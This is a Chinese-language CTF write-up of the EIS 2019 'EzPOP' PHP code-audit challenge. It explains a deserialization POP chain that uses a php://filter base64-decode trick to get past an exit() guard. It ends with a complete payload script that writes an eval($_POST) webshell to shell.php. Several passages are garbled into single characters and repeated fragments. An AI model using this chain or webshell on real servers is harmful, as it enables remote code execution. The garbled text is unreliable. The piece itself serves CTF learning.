[EIS 2019]EzPOP-PHP代码审计学习
作为一个不太聪明的WEB菜鸟,代码审计一直不咋地,正好遇到一道题,记录一下学习过程
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
题目直接给出了源代码,话不多说,慢慢审吧
首先看A类的函数
构造函数就不说了
public function cleanContents(array $contents) {
$cachedProperties = array_flip([ //反转数组中所有的键以及它们关联的值
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) { //在contents数组中,键给path,值给object
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties); //比较两个数组的键名,并返回交集:
}
}
return $contents;
}
cleanContents(array c o n t e n t s ) 里 面 调 用 了 下 面 两 个 函 数 : a r r a y f l i p ( ) 反 转 数 组 中 所 有 的 键 以 及 它 们 关 联 的 值 a r r a y i n t e r s e c t k e y ( contents) 里面调用了下面两个函数: array_flip()反转数组中所有的键以及它们关联的值 array_intersect_key( contents)里面调用了下面两个函数:arrayflip()反转数组中所有的键以及它们关联的值arrayintersectkey(object, $cachedProperties); //比较两个数组的键名,并返回交集
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
这个函数主要是把cache作为参数调用cleanContents(),再将结果和complete一起返回他们的json数据。值得一提的是cache和complete都是没有赋值的,可控
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
这里先调用了getForStorage()函数将其结果放入contents,再将其和key,expire一起调用save()函数,A类是没有save()函数的,只有B类有,显而易见,这个this->store大概率就是要定义成B类,串联AB类。值得一提的是,这里的key和expire也是可控的。
接下来看B类
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
该函数会将data先格式化成string类型,然后根据options[‘serialize’]的值来处理data,options[‘serialize’]可控。
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire); //返回int型数据,options['expire']的
$filename = $this->getCacheKey($name); //将$name拼接在options['prefix']后面,最后应该是要写入的位置
$dir = dirname($filename); //获取路径中的目录名称部分
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value); //该函数特殊
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; //这里是要执行的核心代码
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
该函数一个个参数看吧,先看
n
a
m
e
,
经
过
g
e
t
C
a
c
h
e
K
e
y
(
)
函
数
与
o
p
t
i
o
n
s
[
′
p
r
e
f
i
x
′
]
拼
接
后
,
形
成
的
f
i
l
e
n
a
m
e
最
后
在
f
i
l
e
p
u
t
c
o
n
t
e
n
t
s
(
)
处
才
被
调
用
,
作
为
写
入
的
位
置
。
再
看
看
name,经过getCacheKey()函数与options['prefix']拼接后,形成的filename最后在file_put_contents()处才被调用,作为写入的位置。 再看看
name,经过getCacheKey()函数与options[′prefix′]拼接后,形成的filename最后在fileputcontents()处才被调用,作为写入的位置。再看看expire,先判断是否为null,如果是则将options[‘expire’]赋值给它,接下来调用getExpireTime()函数将其格式化成int型,最后将其通过sprintf函数写进php代码
最后是
v
a
l
u
e
,
通
过
调
用
s
e
r
i
a
l
i
z
e
(
)
函
数
生
成
value,通过调用serialize()函数生成
value,通过调用serialize()函数生成data,然后判断是否满足条件执行数据压缩,该条件可控最后将核心代码拼接在核心代码后面。
显而易见,$name这个参数用在构造文件的位置,其他两个参数用来构造最后的核心代码,最后将核心代码通过file_put_contents()写入指定位置,达到成功将shell写入网站服务器的目的
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
这里核心代码的构造,先前我一直执着于将 d a t a 构 造 成 空 , 然 后 在 data构造成空,然后在 data构造成空,然后在expire里面填入关键代码,但是expire被格式化成int型数据,长度也被限制,后面还有个exit()函数,这让我一直很头疼,始终过不去,我一直以为有骚操作可以过了这里,事实证明是我多想了。这里贴上我参考的大佬文章
大佬引用了P神的文章(之前做题就有一些WP也是引用P神的文章,也将P神的博客收藏,却没看过,有机会一定要好好看看)。
回到正文,由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩php//exit了,这里有9个字符,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加些字符,我就加3个字符吧,最后我们可以使用php伪协议来绕过,一会写在路径里就行
php://filter/write=convert.base64-decode/resource=
sprintf('%012d', $expire)
至于$expire它这里的%012d要求输出12个数字,正好是4的倍数,可以不用管了,随便填个数字就行
运行结果
那么
d
a
t
a
就
得
用
来
写
s
h
e
l
l
咯
,
而
且
前
面
得
加
上
3
个
字
符
,
值
得
注
意
的
是
data就得用来写shell咯,而且前面得加上3个字符,值得注意的是
data就得用来写shell咯,而且前面得加上3个字符,值得注意的是data的数据由B类set()函数的
v
a
l
u
e
得
来
,
而
在
A
类
中
调
用
s
e
t
(
)
函
数
时
value得来,而在A类中调用set()函数时
value得来,而在A类中调用set()函数时value由
c
o
n
t
e
n
t
s
得
来
,
contents得来,
contents得来,contents是由json_encode后得来的,是json形式的数据,需要绕过它,而json格式的字符都不满足base64编码的要求,所以我们可以将数据进行base64编码绕过
运行结果
不难看出base64成功绕过json,综上所述 ,一共要进行两次base64编码,一次是绕过核心代码里的exit()函数,一次是绕过json编码,因此我们可以这么构造$data的源头complete
A->complete=base64_encode('xxx',base64_encode('<?php @eval($_POST["ro4lsc"]);?>')) //这里的xxx就是为了和php//exit一起凑够4的倍数
现在最重要的问题是怎么把base64两次解码,一次解码已经决定在路径里用php协议解码一次,那还有一次得再找方法解码
这时我们就得看到前面提到的serialize函数
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
可以看到返回值是 s e r i a l i z e ( serialize( serialize(data),也就是说这里我们可以让这个变量$serilalize为base64_decode函数对data变量进行解码。
filename参数是options[‘prefix’]和
n
a
m
e
进
行
拼
接
的
结
果
,
而
这
里
的
∗
∗
name进行拼接的结果,而这里的**
name进行拼接的结果,而这里的∗∗name是形参**,所以这个$name是A类的key变量,是由save函数传递过来的
由于options[‘prefix’]可控
所以这里我们可以使
options['prefix']="php://filter/write=convert.base64-decode/resource=";
key="webshell.php"; //$name
那现在从头梳理一下函数的执行顺序
A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime(),getCacheKey(),serialize()->file_put_contents写入shell
参数的赋值过程
key->name->filename //key可控
cache->clean+complete->contents->value->data //cache和complete可控
expire //expire可控
从参数变化再综合上面的分析,难点主要是中间的cache和complete,变化不太清楚,所以把代码抽出来慢慢观察
<?php
$cachedProperties = array_flip([ //反转数组中所有的键以及它们关联的值
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
$contents=array(path1111=>11);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties); //比较两个数组的键名,并返回交集:
}
}
$complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
$getForStorage=json_encode([$contents, $complete]);
echo $getForStorage;
?>
通过观察发现,上述代码的contens也就是cache决定了json数据的键,complete决定了json数据的值,那就好办了,前面也分析过需要base64编码绕过json数据,那就让cache为空,因为它为空后键为[],base64就可以将其跳过,complete填核心代码即可
最后的payload(这里觉得大佬写的太好了,直接搬运):
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
$this->key = "shell.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
将得到的数据通过?data传递参数,他会在当前路径生成shell.php,最后拿菜刀之类的连接即可
总结
base64的绕过让人印象深刻,代码审计仍然需要继续努力。
参考文章
https://blog.csdn.net/gd_9988/article/details/106111902
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list